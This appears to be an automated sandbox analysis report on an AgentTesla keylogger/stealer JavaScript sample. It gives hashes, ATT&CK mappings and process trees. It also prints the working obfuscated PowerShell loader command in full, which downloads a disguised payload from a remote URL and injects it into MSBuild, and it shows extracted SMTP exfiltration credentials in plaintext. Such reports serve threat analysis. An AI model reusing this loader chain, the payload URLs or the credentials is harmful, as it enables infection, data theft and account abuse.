agenttesla | 5ebaadc4e362a1edba519f257315616eb0ffe4f42128d815c3aeada39569736c

General

Target

5ebaadc4e362a1edba519f257315616eb0ffe4f42128d815c3aeada39569736c.js
Size

226KB
MD5

9e63c086b6be3311a1bdaed1267e34e3
SHA1

54a735620f68a8f91858058197bdf1336cc6d0ba
SHA256

5ebaadc4e362a1edba519f257315616eb0ffe4f42128d815c3aeada39569736c
SHA512

b377ae7cab1808ebfc38f7eb4fba7d50a401e60f700a5f8a6d3830eda9161f207624b95f49c09fda65f0261d30d5db622679e764bfb372015a350188f3f928dd
SSDEEP

6144:EGLdt3xLKZu3Y82AaRX5GLdt3xLKZurGLdt3xLKZu3Y82AaRX5GLdt3xLKZua:rLvhLKjZACULvhLKdLvhLKjZACULvhLE

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Extracted

Credentials

Protocol: smtp
Host:
mail.ctdi.com.ph
Port:
587
Username:
[email protected]
Password:
A#f+Y]H8iO4a

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.ctdi.com.ph
Port:
587
Username:
[email protected]
Password:
A#f+Y]H8iO4a
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Agenttesla family
agenttesla

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	3884	powershell.exe
20	3884	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3884	powershell.exe
1048	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	wscript.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	ip-api.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3884 set thread context of 4520	3884	powershell.exe	93

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1048	powershell.exe
1048	powershell.exe
3884	powershell.exe
3884	powershell.exe
4520	MSBuild.exe
4520	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1048	powershell.exe
Token: SeDebugPrivilege	3884	powershell.exe
Token: SeDebugPrivilege	4520	MSBuild.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1928 wrote to memory of 1048	1928	wscript.exe	83
PID 1928 wrote to memory of 1048	1928	wscript.exe	83
PID 1048 wrote to memory of 3884	1048	powershell.exe	85
PID 1048 wrote to memory of 3884	1048	powershell.exe	85
PID 3884 wrote to memory of 4520	3884	powershell.exe	93
PID 3884 wrote to memory of 4520	3884	powershell.exe	93
PID 3884 wrote to memory of 4520	3884	powershell.exe	93
PID 3884 wrote to memory of 4520	3884	powershell.exe	93
PID 3884 wrote to memory of 4520	3884	powershell.exe	93
PID 3884 wrote to memory of 4520	3884	powershell.exe	93
PID 3884 wrote to memory of 4520	3884	powershell.exe	93
PID 3884 wrote to memory of 4520	3884	powershell.exe	93

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\5ebaadc4e362a1edba519f257315616eb0ffe4f42128d815c3aeada39569736c.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $proofread = 'JABlAHgAbwBkAGUAcgBtAGkAcwAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAcwAuAGMAbABvAHUAZABpAG4AYQByAHkALgBjAG8AbQAvAGQAeQB0AGYAbAB0ADYAMQBuAC8AaQBtAGEAZwBlAC8AdQBwAGwAbwBhAGQALwB2ADEANwAzADMAMQAzADQAOQA0ADcALwBiAGsAbABwAHkAcwBlAHkAZQB1AHQANABpAG0AcAB3ADUAMABuADEALgBqAHAAZwAgACcAOwAkAHAAZQBkAGUAcwB0AGEAbABsAGUAZAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABtAGEAeABpAG0AYQBsAGkAcwB0ACAAPQAgACQAcABlAGQAZQBzAHQAYQBsAGwAZQBkAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAGUAeABvAGQAZQByAG0AaQBzACkAOwAkAGQAZQBiAGkAbABpAHQAaQBlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABtAGEAeABpAG0AYQBsAGkAcwB0ACkAOwAkAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAYwBhAGwAawBlAHIAIAA9ACAAJwA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4AJwA7ACQAbwBwAGUAcgBhAHQAaQB2AGUAbAB5ACAAPQAgACQAZABlAGIAaQBsAGkAdABpAGUAcwAuAEkAbgBkAGUAeABPAGYAKAAkAGkAbgB0AGUAcgBhAGMAdABpAHYAZQApADsAJABtAG8AYgBjAGEAcABzACAAPQAgACQAZABlAGIAaQBsAGkAdABpAGUAcwAuAEkAbgBkAGUAeABPAGYAKAAkAGMAYQBsAGsAZQByACkAOwAkAG8AcABlAHIAYQB0AGkAdgBlAGwAeQAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAG0AbwBiAGMAYQBwAHMAIAAtAGcAdAAgACQAbwBwAGUAcgBhAHQAaQB2AGUAbAB5ADsAJABvAHAAZQByAGEAdABpAHYAZQBsAHkAIAArAD0AIAAkAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAuAEwAZQBuAGcAdABoADsAJAB3AGUAbABkAGUAcgBzACAAPQAgACQAbQBvAGIAYwBhAHAAcwAgAC0AIAAkAG8AcABlAHIAYQB0AGkAdgBlAGwAeQA7ACQAdABvAG4AZQBhAHIAbQAgAD0AIAAkAGQAZQBiAGkAbABpAHQAaQBlAHMALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAbwBwAGUAcgBhAHQAaQB2AGUAbAB5ACwAIAAkAHcAZQBsAGQAZQByAHMAKQA7ACQAaABvAG4AbwByAGEAcgBpAGwAeQAgAD0AIAAtAGoAbwBpAG4AIAAoACQAdABvAG4AZQBhAHIAbQAuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAgAH0AKQBbAC0AMQAuAC4ALQAoACQAdABvAG4AZQBhAHIAbQAuAEwAZQBuAGcAdABoACkAXQA7ACQAdwByAGkAdABoAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABoAG8AbgBvAHIAYQByAGkAbAB5ACkAOwAkAG0AaQBjAHIAbwBsAGkAdABlAHIAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJAB3AHIAaQB0AGgAZQBuACkAOwAkAHcAbwBvAGQAZQBuAG4AZQBzAHMAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApADsAJAB3AG8AbwBkAGUAbgBuAGUAcwBzAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAEAAKAAnAHQAeAB0AC4AcwBiAGsALwB2AGUAZAAuADIAcgAuADMAOQBiADMANAA1ADMAMAAyAGEAMAA3ADUAYgAxAGIAYwAwAGQANAA1AGIANgAzADIAZQBiADkAZQBlADYAMgAtAGIAdQBwAC8ALwA6AHMAcAB0AHQAaAAnACwAIAAnACQAZABvAHUAZwBoAHQAaQBuAGUAcwBzACcALAAgACcAJABkAG8AdQBnAGgAdABpAG4AZQBzAHMAJwAsACAAJwAkAGQAbwB1AGcAaAB0AGkAbgBlAHMAcwAnACwAIAAnAE0AUwBCAHUAaQBsAGQAJwAsACAAJwAkAGQAbwB1AGcAaAB0AGkAbgBlAHMAcwAnACwAIAAnACQAZABvAHUAZwBoAHQAaQBuAGUAcwBzACcALAAnACQAZABvAHUAZwBoAHQAaQBuAGUAcwBzACcALAAnACQAZABvAHUAZwBoAHQAaQBuAGUAcwBzACcALAAnACQAZABvAHUAZwBoAHQAaQBuAGUAcwBzACcALAAnACQAZABvAHUAZwBoAHQAaQBuAGUAcwBzACcALAAnACQAZABvAHUAZwBoAHQAaQBuAGUAcwBzACcALAAnADEAJwAsACcAJABkAG8AdQBnAGgAdABpAG4AZQBzAHMAJwApACkAOwA=';$tonemes = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($proofread));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $tonemes
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1048
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$exodermis = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pedestalled = New-Object System.Net.WebClient;$maximalist = $pedestalled.DownloadData($exodermis);$debilities = [System.Text.Encoding]::UTF8.GetString($maximalist);$interactive = '<<BASE64_START>>';$calker = '<<BASE64_END>>';$operatively = $debilities.IndexOf($interactive);$mobcaps = $debilities.IndexOf($calker);$operatively -ge 0 -and $mobcaps -gt $operatively;$operatively += $interactive.Length;$welders = $mobcaps - $operatively;$tonearm = $debilities.Substring($operatively, $welders);$honorarily = -join ($tonearm.ToCharArray() | ForEach-Object { $_ })[-1..-($tonearm.Length)];$writhen = [System.Convert]::FromBase64String($honorarily);$microliters = [System.Reflection.Assembly]::Load($writhen);$woodenness = [dnlib.IO.Home].GetMethod('VAI');$woodenness.Invoke($null, @('txt.sbk/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptth', '$doughtiness', '$doughtiness', '$doughtiness', 'MSBuild', '$doughtiness', '$doughtiness','$doughtiness','$doughtiness','$doughtiness','$doughtiness','$doughtiness','1','$doughtiness'));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3884
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
50a8221b93fbd2628ac460dd408a9fc1

SHA1
7e99fe16a9b14079b6f0316c37cc473e1f83a7e6

SHA256
46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e

SHA512
27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_alu3s3uw.cwx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1048-12-0x00007FFE642D0000-0x00007FFE64D91000-memory.dmp

Filesize
10.8MB

Download
memory/1048-30-0x00007FFE642D0000-0x00007FFE64D91000-memory.dmp

Filesize
10.8MB

Download
memory/1048-22-0x00007FFE642D0000-0x00007FFE64D91000-memory.dmp

Filesize
10.8MB

Download
memory/1048-0-0x00007FFE642D3000-0x00007FFE642D5000-memory.dmp

Filesize
8KB

Download
memory/1048-11-0x00007FFE642D0000-0x00007FFE64D91000-memory.dmp

Filesize
10.8MB

Download
memory/1048-1-0x0000022947950000-0x0000022947972000-memory.dmp

Filesize
136KB

Download
memory/3884-23-0x000001CCEF3C0000-0x000001CCEF518000-memory.dmp

Filesize
1.3MB

Download
memory/4520-24-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/4520-31-0x00000000053C0000-0x0000000005964000-memory.dmp

Filesize
5.6MB

Download
memory/4520-32-0x0000000004F90000-0x0000000004FF6000-memory.dmp

Filesize
408KB

Download
memory/4520-33-0x0000000006270000-0x00000000062C0000-memory.dmp

Filesize
320KB

Download
memory/4520-34-0x0000000006360000-0x00000000063FC000-memory.dmp

Filesize
624KB

Download
memory/4520-35-0x00000000065A0000-0x0000000006632000-memory.dmp

Filesize
584KB

Download
memory/4520-36-0x0000000006580000-0x000000000658A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads